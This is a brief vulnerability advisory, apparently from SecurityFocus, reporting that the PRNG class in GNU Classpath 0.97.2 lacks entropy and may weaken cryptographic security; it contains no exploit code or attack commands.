GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy (2)

source: https://www.securityfocus.com/bid/32909/info
 
GNU Classpath is prone to a weakness that may result in weaker cryptographic security because its psuedo-random number generator (PRNG) lacks entropy.
 
Attackers may leverage this issue to obtain sensitive information that can lead to further attacks.
 
Classpath 0.97.2 is vulnerable; other versions may also be affected.
